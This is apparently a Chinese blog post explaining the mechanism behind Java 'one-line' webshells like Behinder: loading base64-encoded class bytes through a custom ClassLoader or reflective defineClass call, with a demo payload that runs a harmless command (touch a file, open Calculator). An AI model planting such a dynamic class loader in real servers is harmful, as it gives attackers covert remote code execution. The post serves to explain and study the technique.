安全技术系列之Java一句话木马
0x01 原理介绍
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面是一个简单的Demo:
public class Demo {public static class Myloader extends ClassLoader {public Class get(byte[] b) {return super.defineClass(b, 0, b.length);}}// 使用继承ClassLoader的方法public static Class<?> getClass(String classCode) throws IOException, InstantiationException, IllegalAccessException {BASE64Decoder code = new BASE64Decoder();Class result = new Myloader().get(code.decodeBuffer(classCode));return (Class<?>)result;} public static void main(String[] args) throws Exception {// TODO Auto-generated method stubString classStr = "yv66vgAAADQAQgoADwAjCAAkCAAlCgAmACcKACgAKQgAKgoAKAArCAAsCgAtAC4KAC0ALwcAMAoACwAxCAAyBwAzBwA0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABpMY29tL2FudHNlYy9kdXBlaS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADUHADMHADABAApTb3VyY2VGaWxlAQAMUGF5bG9hZC5qYXZhDAAQABEBAB50b3VjaCAvdG1wL215X3RyYW5zbGV0X3BheWxvYWQBAAdvcy5uYW1lBwA2DAA3ADgHADUMADkAGAEAA21hYwwAOgA7AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgcAPAwAPQA+DAA/AEABABNqYXZhL2lvL0lPRXhjZXB0aW9uDABBABEBAAJPSwEAGGNvbS9hbnRzZWMvZHVwZWkvUGF5bG9hZAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEADgAPAAAAAAACAAEAEAARAAEAEgAAAC8AAQABAAAABSq3AAGxAAAAAgATAAAABgABAAAACQAUAAAADAABAAAABQAVABYAAAABABcAGAABABIAAACnAAIAAgAAACkSAkwSA7gABLYABRIGtgAHmQAGEghMuAAJK7YAClenAAhMK7YADBINsAABAAAAHgAhAAsAAwATAAAAIgAIAAAADgADAA8AEwARABYAEwAeABcAIQAUACIAFgAmABgAFAAAACAAAwADABsAGQAaAAEAIgAEABsAHAABAAAAKQAVABYAAAAdAAAAFgAD/AAWBwAe/wAKAAEHAB8AAQcAIAQAAQAhAAAAAgAi";Class<?> result = getClass(classStr);System.out.println(result.newInstance().toString());}
}
上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:
package com.antsec.dupei;import java.io.IOException;/*** @author dupei.dp@antgroup.com* @date 2021/8/11 11:19*/
public class Payload {@Overridepublic String toString() {// TODO Auto-generated method stubtry {String command = "touch /tmp/my_translet_payload";if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {// 在MacOS上打开计算器command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";}Runtime.getRuntime().exec(command);} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}return "OK";}
}
到此,我们就可以直接动态解析并执行编译好的class字节流了。
除了上述使用集成classloader的方式调用defineClass之外,也可以使用反射机制,这个在新版的冰蝎中,以及开始使用了。
// 使用反射的方法
public static Class<?> getClass2(String classCode) throws IOException, InvocationTargetException,
IllegalAccessException, NoSuchMethodException, InstantiationException {ClassLoader loader = Thread.currentThread().getContextClassLoader();BASE64Decoder base64Decoder = new BASE64Decoder();byte[] bytes = base64Decoder.decodeBuffer(classCode);Method method = null;Class<?> clz = loader.getClass();while (method == null && clz != Object.class) {try {method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);} catch (NoSuchMethodException ex) {clz = clz.getSuperclass();}}if (method != null) {method.setAccessible(true);return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);}return null;
}
0x02 参考
● 冰蝎: https://github.com/rebeyond/Behinder
安全技术系列之Java一句话木马相关推荐
- java一句话木马连接_webshell一句话木马大全
比较全的webshell一句话包括ASP,PHP,ASPX,JSP asp一句话木马程序代码 程序代码 程序代码 程序代码 程序代码 程序代码 [code] [code] 程序代码 %> 程序代 ...
- java一句话木马连接_一句话木马使用方法总结
"EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话 ...
- java一句话木马_如何使用JSP一句话木马和菜刀木马
展开全部 相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PH ...
- java一句话木马_jsp一句话木马总结
Jsp 7-- include指令 index.jsp %@page contentType="text/html; charset=UTF-8"%html head titlei ...
- java一句话木马_各种一句话木马大全
%> ""then session("c")=request("c"):end if:if session("c" ...
- 利用动态二进制加密实现新型一句话木马之Java篇(转) 冰蝎
概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...
- 2018-03-24-利用动态二进制加密实现新型一句话木马之Java篇
layout: post title: "利用动态二进制加密实现新型一句话木马-java篇" categories: [网络安全CyberSecurity] tags: [一句话木 ...
- 【原创】利用动态二进制加密实现新型一句话木马之Java篇
概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...
- java 菜刀_jsp一句话木马菜刀
1.如何使用JSP一句话木马和菜刀木马 相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站. 近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩 ...
最新文章
- 链表-回文链表(复制+双指针法)
- Tick技术栈之InfluxDB
- postman接口测试和压力测试
- 笔记-JavaWeb学习之旅2
- 【C++基础】重抛异常与异常的使用场景
- 推荐系统之 BPR 算法及 Librec的BPR算法实现【1】
- std::optional
- Transformer可以不需要Softmax?Kakao提出了UFO-ViT,性能高,计算量还小
- 什么是偏向锁、轻量级锁、重量级锁?
- 【优化算法】差分蜂群优化算法(DEABC)【含Matlab源码 1423期】
- 【费用预测】基于matlab粒子群算法优化ELM神经网络预测费用【含Matlab源码 1378期】
- 何凯明最新一作MAE解读系列1
- 进程间通信方式有哪些?各自有哪些优缺点?
- C语言——测试电脑大小端
- Delphi隐藏/显示Windows桌面上的图标
- 《统计学》——思考题第二章数据的搜集(贾俊平)
- 如何运用python画名字_[原创]如何使用Python在好友画我上画一个标准的汉字震惊朋友圈...
- 数据库服务器的性能指标,数据库服务器性能指标
- 爬取bili番剧相关内容
- php程序开发编辑器有哪些,常用的PHP编辑器有哪些?
热门文章
- javaScript核心学习 (二)函数和对象,继承原型链
- 导数应用(一):差分计算(导数)
- 面试通过几率大不大?你需要做这些准备
- js 根据已知的时间,判断是否是今天,明天,昨天,后天
- JS中innerHTML,innerText,outHTML的用法及区别
- Java 分区表_操作分区表提示ORA-01502
- Linux shell--sfdisk manual
- 超强1000个jquery极品插件(。。)
- 海康服务器远程桌面怎么设置,海康DVR/DVS/NVR远程访问设置-广域网访问设置
- 基于知识图谱的语言模型:智能化知识分享与获取